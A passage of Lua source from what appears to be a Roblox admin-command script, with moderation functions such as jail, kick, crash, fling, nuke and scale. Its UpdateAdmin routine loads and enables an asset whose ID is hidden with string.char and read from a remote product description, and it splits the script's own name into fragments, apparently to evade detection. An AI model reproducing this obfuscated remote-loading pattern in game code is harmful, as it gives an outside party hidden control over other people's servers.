917 return math.ceil(Number)
918 elseif Number < 0.5 then
919 return math.floor(Number)
920 end
921end
922
923local AdminID,Got = nil,false
924repeat wait()
925 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
926until Got == true
927
928function CORE:GetTable(ID)
929 local Thing = nil
930 repeat wait()
931 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
932 until Thing
933 return Thing
934end
935
936function CORE:InAdminGroup(Speaker)
937 local IsIn = false
938 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
939 if Speaker:IsInGroup(Get) then
940 IsIn = true
941 end
942 end
943 if IsIn == true then
944 return true
945 else
946 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
947 return false
948 end
949end
950
951function CORE:ReverseTable(Table)
952 if type(Table) ~= "table" then return Table end
953 local NewTable = {}
954 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
955 return NewTable
956end
957
958function CORE:Log(LogTable, Player, Chat)
959 local PlayerName = tostring(Player)
960 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
961 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
962end
963
964function CORE:Jail(Player)
965 if not Player then return nil end
966 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
967 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
968 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
969 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
970 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
971 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
972 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
973 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
974 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
975 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
976 Cell:MoveTo(Vector3.new(0,3,0))
977
978 if Player.Character and Player.Character:FindFirstChild("Torso") then
979 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
980 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
981 end
982 table.insert(Dispose, Cell)
983 Jails[Player.Name] = Cell
984end
985
986function CORE:UnJail(Player)
987 if not Player then return nil end
988 if Jails[Player.Name] then
989 Jails[Player.Name]:Destroy()
990 Jails[Player.Name] = nil
991 end
992end
993
994function CORE:ChangeName(Player, NewName)
995 if not Player or not NewName then return nil end
996 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
997 local NewName = STRING:FormatReplace(Player, NewName)
998
999 for _,Obj in pairs(Player.Character:GetChildren()) do
1000 if Obj.Name == "Label" then Obj:Destroy() end
1001 end
1002
1003 local Head = Player.Character.Head
1004 local HeadClone = Head:Clone()
1005
1006 -- make actual head invisible
1007 Head.Transparency = 1
1008 ypcall(function() Head.face.Transparency = 1 end)
1009
1010 -- make fake head visible
1011 HeadClone.Transparency = 0
1012 ypcall(function() HeadClone.face.Transparency = 0 end)
1013
1014 local Label = Instance.new("Model", Player.Character)
1015 Label.Name = "Label"
1016
1017 local Model = Instance.new("Model", Label)
1018 Model.Name = NewName
1019
1020 local HumanoidClone = Instance.new("Humanoid", Model)
1021 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1022
1023 HeadClone.Position = Vector3.new(0,100,0)
1024 HeadClone.CanCollide = false
1025 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1026
1027
1028 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1029 HeadClone.Parent = Model
1030 local Weld = Instance.new("Weld", HeadClone)
1031 Weld.Part0 = HeadClone
1032 Weld.Part1 = Head
1033 end)
1034 end
1035end
1036
1037function CORE:UpdateAdmin()
1038 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1039 return nil
1040 end
1041 local UpdateModel = AdminID
1042 if UpdateModel == 0 then return end
1043 local NewAdminModel = nil
1044 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1045 if NewAdminModel then
1046 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1047 if NewAdmin then
1048 local NewVersion = NewAdmin:FindFirstChild("Version")
1049 if NewVersion.Value ~= CORE.Version.Value then
1050 if ExploitModule then
1051 ExploitModule.Disabled = true
1052 ExploitModule:Destroy()
1053 end
1054 NewAdmin.Disabled = true
1055 NewAdmin.Parent = Workspace
1056 if not Settings then
1057 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1058 if NewSettings then NewSettings.Parent = Workspace end
1059 end
1060 wait() NewAdmin.Disabled = false
1061 CORE:RemoveAdmin()
1062 else
1063 NewAdminModel:Destroy()
1064 end
1065 end
1066 end
1067end
1068
1069function CORE:UnpackPlayers(Players)
1070 local PlayerNames = ""
1071 for Num,Player in pairs(Players) do
1072 if Player ~= nil then
1073 if Num ~= #Players then
1074 PlayerNames = PlayerNames..Player.Name..", "
1075 else
1076 PlayerNames = PlayerNames..Player.Name
1077 end
1078 end
1079 end
1080 return PlayerNames
1081end
1082
1083function CORE:GetValue(Value)
1084 if Value:IsA("StringValue") then
1085 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1086 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1087 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1088 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1089 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1090 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1091 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1092 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1093 if Admin == Value.Value then
1094 table.remove(Settings.Ranks["Admin"],Num)
1095 end
1096 end
1097 end end
1098 end
1099end
1100
1101function CORE:GetPlayer(ID)
1102 local Return = {"Unknown", ID}
1103 if tonumber(ID) then
1104 for _,Data in pairs(CharacterCache) do
1105 if ID == Data[2] then
1106 return Data
1107 end
1108 end
1109 ypcall(function()
1110 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1111 if Name then
1112 local Data = {Name, ID}
1113 table.insert(CharacterCache, Data)
1114 Return = Data
1115 end
1116 end)
1117 else
1118 local Name = tostring(ID)
1119 for _,Data in pairs(CharacterCache) do
1120 if string.lower(Name) == string.lower(Data[1]) then
1121 return Data
1122 end
1123 end
1124 ypcall(function()
1125 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1126 if PlayerID then
1127 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1128 local Data = {Name, PlayerID}
1129 table.insert(CharacterCache, Data)
1130 Return = Data
1131 end
1132 end)
1133 end
1134
1135 return Return
1136end
1137
1138function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1139 if ID and #tostring(ID) >= 1 then
1140 local PlayerName = nil
1141
1142 local Players = STRING:Scan(ID, Speaker)
1143 if #Players >= 1 then -- if player is found in server
1144 ID = Players[1].UserId
1145 elseif tonumber(ID) then
1146 local Data = CORE:GetPlayer(ID)
1147 PlayerName = Data[1]
1148 else
1149 local Data = CORE:GetPlayer(tostring(ID))
1150 PlayerName = Data[1]
1151 ID = Data[2]
1152 end
1153
1154 if tonumber(ID) == 20018 then -- exploding easter bunny
1155 local OldID = ID
1156 ID = 1
1157 if Speaker then
1158 if RANK:GetRank(Speaker) == "Member" then
1159 coroutine.wrap(function()
1160 wait(1)
1161 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1162 end)()
1163 else ID = OldID
1164 end
1165 end
1166 elseif tonumber(ID) == 1311 then -- ffjosh
1167 local OldID = ID
1168 ID = 1
1169 if Speaker then
1170 if RANK:GetRank(Speaker) == "Member" then
1171 coroutine.wrap(function()
1172 wait(1)
1173 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1174 end)()
1175 else ID = OldID
1176 end
1177 end
1178 end
1179
1180 if tonumber(ID) then
1181 local Position = nil
1182 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1183 if ManualPos then
1184 Position = ManualPos
1185 else
1186 Position = Player.Character.Torso.Position
1187 end
1188 end
1189 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1190 wait() Player:LoadCharacter() wait()
1191 if Position then Player.Character:MoveTo(Position) end
1192 if not Perm then
1193 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1194 end
1195 if NameChar and PlayerName then
1196 wait(2)
1197 CORE:ChangeName(Player, PlayerName)
1198 end
1199 end
1200 end
1201end)() end
1202
1203function CORE:GenerateShield(Player)
1204 if not Player then return nil end
1205 if not Player.Character then return nil end
1206 local Torso = Player.Character:FindFirstChild("Torso")
1207 if not Torso then return nil end
1208
1209 local Shield = Player.Character:FindFirstChild("Shield")
1210 if Shield then Shield:Destroy() end
1211
1212 Shield = Instance.new("Part", Player.Character)
1213 Shield.Name = "Shield"
1214 Shield.Locked = true
1215 Shield.CanCollide = false
1216 Shield.Size = Vector3.new(10,10,10)
1217 Shield.Shape = "Ball"
1218 Shield.Color = GUI:GetColor()
1219 Shield.Transparency = 0.5
1220 Shield.TopSurface = "Smooth"
1221 Shield.BottomSurface = "Smooth"
1222 Shield.Anchored = true
1223 Shield.Position = Torso.Position
1224
1225 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1226 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1227
1228 Hum:Play()
1229
1230 Shield.Touched:connect(function(Part)
1231 if Part.Parent ~= Server.Workspace then
1232 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1233 if Humanoid then
1234 local Char = Humanoid.Parent
1235 if Char:IsA("Model") and Humanoid.Health > 0 then
1236 if Char ~= Player.Character then
1237 Char:BreakJoints()
1238 Zap:Play()
1239 end
1240 end
1241 end
1242 end
1243 end)
1244
1245 coroutine.wrap(function() repeat wait()
1246 Shield.CFrame = Torso.CFrame
1247 until Torso.Parent == nil or Shield.Parent == nil end)()
1248end
1249
1250function CORE:FlingPlayer(Player)
1251 if Player and Player.Character then
1252 if Player.Character:FindFirstChild("Torso") then
1253 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1254 Fling.Name = "Fling"
1255 Fling.force = Vector3.new(10000,10000,10000)
1256 end
1257 end
1258end
1259
1260function CORE:Kick(Player, CustomMessage)
1261 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1262 coroutine.wrap(function()
1263 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1264 wait(1)
1265 Player:Kick(CustomMessage)
1266 end)()
1267end
1268
1269function CORE:Crash(Player)
1270 local Parent = Player
1271 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1272 elseif Player.Character then Parent = Player.Character end
1273
1274 CORE:ExecuteResource("Crash", Parent)
1275end
1276
1277function CORE:RestoreCamera(Player)
1278 if Player.Backpack then
1279 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1280 end
1281end
1282
1283function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1284 local function ScanInstance(Object)
1285 if #Object:GetChildren() > 0 then
1286 for _,Obj in pairs(Object:GetChildren()) do
1287 local IsType = false
1288 if ObjTypes and #ObjTypes > 0 then
1289 for _,ObjType in pairs(ObjTypes) do
1290 if Obj:IsA(ObjType) then
1291 IsType = true
1292 break
1293 end
1294 end
1295 else
1296 IsType = true
1297 end
1298 if IsType == true then
1299 ActiveFunc(Obj)
1300 end
1301 ScanInstance(Obj)
1302 end
1303 end
1304 end
1305 ScanInstance(BaseObj)
1306end
1307
1308function CORE:AnchorPlayer(Player)
1309 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1310
1311 Player.Character.Humanoid.WalkSpeed = 0
1312 for _,Object in pairs(Player.Character:GetChildren()) do
1313 if Object:IsA("BasePart") then
1314 Object.Anchored = true
1315 end
1316 end
1317end
1318
1319function CORE:UnanchorPlayer(Player)
1320 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1321
1322 Player.Character.Humanoid.WalkSpeed = 16
1323 for _,Object in pairs(Player.Character:GetChildren()) do
1324 if Object:IsA("BasePart") then
1325 Object.Anchored = false
1326 end
1327 end
1328end
1329
1330function CORE:InvisiblePlayer(Player)
1331 if not Player or not Player.Character then return end
1332
1333 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1334end
1335
1336function CORE:VisiblePlayer(Player)
1337 if not Player or not Player.Character then return end
1338
1339 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1340end
1341
1342function CORE:Nuke(Player) coroutine.wrap(function()
1343 local Pos = CFrame.new(0,1,0)
1344 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1345 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1346 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1347 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1348 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1349 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1350
1351 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1352
1353 Server.Lighting.Brightness = 5
1354 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1355 Server.OutdoorAmbient = Color3.new(1,1,1)
1356
1357 local Exp = Instance.new("Explosion", Server.Workspace)
1358 Exp.Position = Pos.p
1359 Exp.BlastPressure = 10000000
1360 Exp.BlastRadius = 1000000
1361 Exp.Hit:connect(function(Part)
1362 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1363 ypcall(function()
1364 Part.Anchored = false
1365 Part.BrickColor = BrickColor.new("Black")
1366 Part.Material = "Slate"
1367 Part:BreakJoints()
1368 end)
1369 end
1370 end)
1371
1372 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1373 BoomSound:Play()
1374 for i = 0,100,0.5 do
1375 Blast.Anchored = true
1376 Wave.Anchored = true
1377 BlastMesh.Scale = Vector3.new(i,i,i)
1378 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1379 Blast.CFrame = Pos
1380 wait()
1381 end
1382 BoomSound:Stop()
1383 Blast:Destroy()
1384 Wave:Destroy()
1385 wait()
1386 BoomSound:Destroy()
1387 Effect:Destroy()
1388 for i = 10,5,-1 do
1389 Server.Lighting.Brightness = (i-5) + 1
1390 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1391 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1392 wait(0.05)
1393 end
1394end)() end
1395
1396function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1397 local AssetID = tonumber(AssetID)
1398 local Item = nil
1399 if AssetID and AssetID ~= 1055299 then
1400 local CanInsert = true
1401 if AbuseMode then
1402 for _,ID in pairs(RemoteAbuseGear) do
1403 if AssetID == tonumber(ID) then CanInsert = false break end
1404 end
1405 for _,ID in pairs(Settings.AbusableGear) do
1406 if AssetID == tonumber(ID) then CanInsert = false break end
1407 end
1408 end
1409 if CanInsert then
1410 Item = Server.IS:LoadAsset(AssetID)
1411 if GetFirstChild then
1412 Item = Item:GetChildren()[1]
1413 if FirstChildTypes and Item then
1414 local ValidType = false
1415 for _,Type in pairs(FirstChildTypes) do
1416 if Item:IsA(Type) then
1417 ValidType = true
1418 break
1419 end
1420 end
1421 if ValidType == false then
1422 Item = nil
1423 end
1424 end
1425 end
1426 if Item and Parent then
1427 Item.Parent = Parent
1428 end
1429 end
1430 end
1431 return Item
1432end
1433
1434function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1435 if not Player or not Player.Character then return nil end
1436 PID = tonumber(PID)
1437 for _,Obj in pairs(Player.Character:GetChildren()) do
1438 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1439 end
1440 if PID then
1441 -- back when we needed HttpService to get packages.
1442 --[[
1443 if PackageCache[PID] then
1444 for _,ID in pairs(PackageCache[PID]) do
1445 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1446 end
1447 else
1448 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1449 if IDsJSON then
1450 local IDs = REMOTE:Decode(IDsJSON)
1451 if IDs then
1452 if not IDs["Error"] then
1453 table.insert(PackageCache, IDs)
1454 for _,ID in pairs(IDs) do
1455 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1456 end
1457 end
1458 end
1459 end
1460 end
1461 ]]
1462 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1463 local IDs = {}
1464 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1465 if #IDs > 0 then
1466 for _,ID in pairs(IDs) do
1467 local PackagePart = CORE:Insert(ID)
1468 for _,Obj in pairs(PackagePart:GetChildren()) do
1469 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1470 Obj.Parent = Player.Character
1471 elseif Obj:IsA("Folder") then
1472 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1473 Obj:GetChildren()[1].Parent = Player.Character
1474 end
1475 end
1476 end
1477 end
1478 end
1479 end
1480end)() end
1481
1482function CORE:ChangeBet(Bet)
1483 if tostring(Bet) and Bet ~= Settings.Bet then
1484 for Index,Data in pairs(Commands) do
1485 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1486 end
1487 Settings.Bet = Bet
1488 end
1489end
1490
1491function CORE:ResetLighting()
1492 ModLighting = false wait(0.2) ModLighting = true
1493end
1494
1495function CORE:Fly(Player, Force)
1496 if Player and Player.Character then
1497 local StopFly = Instance.new("RemoteFunction", Player.Character)
1498 StopFly.Name = "StopMMLFly"
1499 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1500 end
1501end
1502
1503function CORE:GiveTools(Player, Type)
1504 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1505 Type = string.lower(Type)
1506 local _,RankNum = RANK:GetRank(Player)
1507 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1508 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1509
1510 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1511 for Name,Type in pairs(BaseBuildTools) do
1512 local Tool = Instance.new("HopperBin", Player.Backpack)
1513 Tool.Name = Name
1514 Tool.BinType = Type
1515 end
1516 elseif Type == "psbtools" then
1517 for _,Tool in pairs(BuildTools) do
1518 CORE:Insert(Tool, Player.Backpack, true)
1519 end
1520 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1521 if F3X then
1522 local F3X = F3X:Clone()
1523 F3X.Parent = Player.Backpack
1524 end
1525 elseif Type == "btools" then
1526 if F3X then
1527 local F3X = F3X:Clone()
1528 F3X.Parent = Player.Backpack
1529 end
1530 for Name,Type in pairs(BaseBuildTools) do
1531 local Tool = Instance.new("HopperBin", Player.Backpack)
1532 Tool.Name = Name
1533 Tool.BinType = Type
1534 end
1535 for _,Tool in pairs(BuildTools) do
1536 CORE:Insert(Tool, Player.Backpack, true)
1537 end
1538 else
1539 for _,Region in pairs(ToolRegions) do
1540 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1541 if Type == "all" then
1542 local NewItem = Item:Clone()
1543 NewItem.Parent = Player.Backpack
1544 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1545 local NewItem = Item:Clone()
1546 NewItem.Parent = Player.Backpack
1547 end
1548 end)
1549 end
1550 end
1551end
1552
1553function CORE:Scale(Player, ScalePercent)
1554 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1555 local Ratio = ScalePercent/100
1556 if Ratio < 0.05 then Ratio = 0.05 end
1557 if Ratio > 100 then Ratio = 100 end
1558 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1559 local Char = Player.Character
1560
1561 local Clean = Char:FindFirstChild("Clean")
1562 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1563 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1564
1565 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1566 local Welds = {}
1567 local Parts = {}
1568
1569 local function Handle(Obj)
1570 if Obj:IsA("BasePart") and not JustWeld then
1571 table.insert(Parts, Obj)
1572 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1573 if Obj.Name == "MML Mesh" then
1574 Obj:Destroy()
1575 end
1576 if Obj.MeshType == Enum.MeshType.FileMesh then
1577 Obj.Offset = Obj.Offset * ScaleRatio
1578 Obj.Scale = Obj.Scale * ScaleRatio
1579 elseif Ratio < 1 then
1580 Obj.Offset = Obj.Offset * ScaleRatio
1581 Obj.Scale = Obj.Scale * ScaleRatio
1582 end
1583 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1584 if Ratio < 1 then
1585 local BodyPart = ""
1586 local TextureID = Obj.BaseTextureId
1587 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1588 if TextureID == 0 then TextureID = nil end
1589 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1590 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1591 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1592 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1593 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1594 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1595 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1596 NewMesh.Name = "MML Mesh"
1597 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1598 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1599 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1600 Obj:Destroy()
1601 end
1602 elseif Obj:IsA("JointInstance") then
1603 local NewWeld = Obj:Clone()
1604 table.insert(Welds, {NewWeld, Obj.Parent})
1605 elseif NewAdd == true and not JustWeld then
1606 if Obj:IsA("Tool") then
1607 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1608 elseif Obj:IsA("Accoutrement") then
1609 --Cycle(Char.Head, ScaleRatio, false, true)
1610 end
1611 end
1612 if #Obj:GetChildren() > 0 then
1613 for _,NewObj in pairs(Obj:GetChildren()) do
1614 Handle(NewObj, ScaleRatio)
1615 end
1616 end
1617 end
1618 Handle(BaseObj)
1619 for _,Part in pairs(Parts) do
1620 if Ratio >= 1 then
1621 Part.Size = Part.Size * ScaleRatio
1622 else
1623 local Allowed = true
1624 for _,Obj in pairs(Part:GetChildren()) do
1625 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1626 Allowed = false
1627 end
1628 end
1629 if Allowed == true then
1630 local NewMesh = Instance.new("BlockMesh", Part)
1631 NewMesh.Name = "MML Mesh"
1632 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1633 end
1634 end
1635 end
1636 for _,WeldData in pairs(Welds) do
1637 if WeldData[1] then
1638 local Obj = WeldData[1]
1639 local NewWeld = Obj:Clone()
1640
1641 NewWeld.Parent = WeldData[2]
1642 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1643 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1644 end
1645 end
1646 for _,Part in pairs(Parts) do
1647 Part:MakeJoints()
1648 end
1649 Welds = {}
1650 Parts = {}
1651 end
1652 Cycle(Char, Ratio)
1653 Char:MakeJoints()
1654
1655 local Added = Char.ChildAdded:connect(function(Obj)
1656 Cycle(Obj, Ratio, NewAdd)
1657 end)
1658 local Removed = Char.ChildRemoved:connect(function(Obj)
1659 Cycle(Obj, Ratio^-1, NewAdd)
1660 end)
1661
1662 Clean.OnInvoke = function()
1663 Added:disconnect()
1664 Removed:disconnect()
1665 local Location = Vector3.new(0,5,0)
1666 if Char:FindFirstChild("Torso") then
1667 Location = Char.Torso.Position + Vector3.new(0,2,0)
1668 end
1669 Player:LoadCharacter()
1670 wait(0.5)
1671 Player.Character:MoveTo(Location)
1672 wait(0.5)
1673 return nil
1674 end
1675
1676 if Char:FindFirstChild("Torso") then
1677 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1678 end
1679 if Char:FindFirstChild("Humanoid") then
1680 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1681 end
1682 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1683 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1684 end
1685end
1686
1687function CORE:AddExploit(PlayerClient, Data)
1688 local PlayerClientName = PlayerClient.Name
1689 local NewData = CORE:GetTime(true, true).." @ "..Data
1690 for _,Player in pairs(Server.Players:GetChildren()) do
1691 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1692 end
1693 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1694 if type(ExploitLog) ~= "table" then
1695 Server.GDS:SetAsync("ExploitLog", {NewData})
1696 else
1697 table.insert(ExploitLog, NewData)
1698 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1699 end
1700 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1701
1702 return true
1703end
1704
1705function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1706 if not tostring(Name) then Name = "Dummy" end
1707 if not Position then Position = Vector3.new(0,5,0) end
1708 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1709 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1710 end
1711
1712 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1713 Figure:MakeJoints()
1714 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
